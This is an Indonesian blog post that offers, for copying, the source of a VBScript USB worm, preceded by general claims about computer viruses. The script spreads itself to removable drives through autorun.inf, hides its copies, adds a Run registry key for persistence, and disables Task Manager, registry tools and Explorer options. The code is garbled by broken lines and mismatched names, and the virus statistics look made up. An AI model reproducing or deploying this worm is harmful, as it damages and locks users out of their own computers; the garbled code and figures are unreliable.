Untuk posting kali ini saya akan sharing tentang bagaimnan membuat virus berbahaya..!!
saya tidak bertanggung jawab atas kerusakan yang dibuat oleh virus yang saya buat ini..
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2 yang terbaru pun Windows Vista dan Win7 bahkan baru2 ini sudah merambah ke GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan.
Hampir 95% Virus adalah virus komputer berbasis sistem operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistem operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Scrip Virus
'//-on
error resume next-//
'//-dim
rekur,windowpath,flashdrive
,fs,mf,isi,tf,kalong,nt,check,sd-//
'//-isi
= "[autorun]" & vbcrlf &
"shellexecute=wscript.exe
k4 l0
n6.dll.vbs"
set
fs =
createobject("Scripting.File
SystemObject")
set
mf =
fs.getfile(Wscript.ScriptFull
name)
dim
text,size
size
= mf.size
check
= mf.drive.drivetype
set
text =
mf.openastextstream(1
,-2)
do
while not
text.atendofstream
rekur
= rekur & text.readline
rekur
= rekur & vbcrlf
loop
do-//
'//-Set
windowpath =
fs.getspecialfolder(0)
set
tf = fs.getfile(windowpath
&
"\batch- k4 l0 n6.dll.vbs ")
tf.attributes
= 32
set
tf=fs.createtextfile(windowp
ath
& "\batch- k4 l0 n6
.dll.vbs",2,true)
tf.write
rekursif
tf.close
set
tf = fs.getfile(windowpath
&
"\batch- k4 l0 n6.dll.vbs ")
tf.attributes
= 39-//
'//-for
each flashdrive in fs.drives-//
'//-If
(flashdrive.drivetype = 1 or
flashdrive.drivetype
= 2) and
flashdrive.path
<> "A:" then-//
'//-set
tf=fs.getfile(flashdrive.path
&"\k4
l0 n6.dll.vbs ")
tf.attributes
=32
set
tf=fs.createtextfile(flashdriv
e.path
&"\k4 l0 n6 .dll.vbs
",2,true)
tf.write
rekursif
tf.close
set
tf=fs.getfile(flashdrive.path
&"\k4
l0 n6.dll.vbs ")
tf.attributes
= 39-//
'//-set
tf
=fs.getfile(flashdrive.path
&"\autorun.inf")
tf.attributes
= 32
set
tf=fs.createtextfile(flashdriv
e.path
&"\autorun.inf",2,true)
tf.write
isi
tf.close
set
tf =
fs.getfile(flashdrive.path
&"\autorun.inf")
tf.attributes=39
end
if
next-//
'//-set
kalong =
createobject("WScript.Shell")-//
'//-Drop.regwrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Internet
Explorer\Main\Window
Title","
DropIB
"-//
'//-DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Explo
rer\Advanced\Hidden",
"0'',
"REG_DWORD"-//
'//-DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Explor
er\NoFind",
"1'',
"REG_DWORD"
DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Explo
rer\NoFolderOptions",
"1'',
"REG_DWORD"
DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Explor
er\NoRun",
"1'',
"REG_DWORD"
DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Syste
m\DisableRegistryTools",
"1'',
"REG_DWORD"
DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Syste
m\DisableTaskMgr",
"1'',
"REG_DWORD"-//
'//-DropIB.RegWrite
"HKEY_CURRENT_USER\Soft
ware\Microsoft\Windows\Cu
rrentVersion\Policies\Expl
orer\NoViewContextMenu",
"1'',
"REG_DWORD"-//
'//-DropIB.regwrite
"HKEY_LOCAL_MACHINE\So
ftware\Microsoft\Windows\C
urrentVersion\Winlogon\Leg
alNoticeCaption",
"Worm
Kalong.
Variant from Rangga-
Zay,
don't panic all data are
safe."-//
'//-DropIB.regwrite
"HKEY_LOCAL_MACHINE\So
ftware\Microsoft\Windows\C
urrentVersion\Run\Systemdir",
windowpath
& "\batch- k4 l0
n6.dll.vbs
"-//
'//-DropIB.regwrite
"HKEY_LOCAL_MACHINE\S
OFTWARE\Microsoft\Windows
NT\CurrentVersion\Register
edOrganization",
"The Batrix"
DropIB.regwrite
"HKEY_LOCAL_MACHINE\S
OFTWARE\Microsoft\Windows
NT\CurrentVersion\Registe
redOwner","DropIB"-//
'//-if
check <> 1 then
Wscript.sleep
200000
end
if
loop
while check <> 1
set
sd =
createobject("Wscript.shell")
sd.run
windowpath &
"\explorer.exe
/e,/select, " &
Wscript.ScriptFullname-//
- Copy paste scrip diatas di notepad
- save di notepad dengan eksistensi .bat
Semoga Bermanfaat..
Tags:
Artikel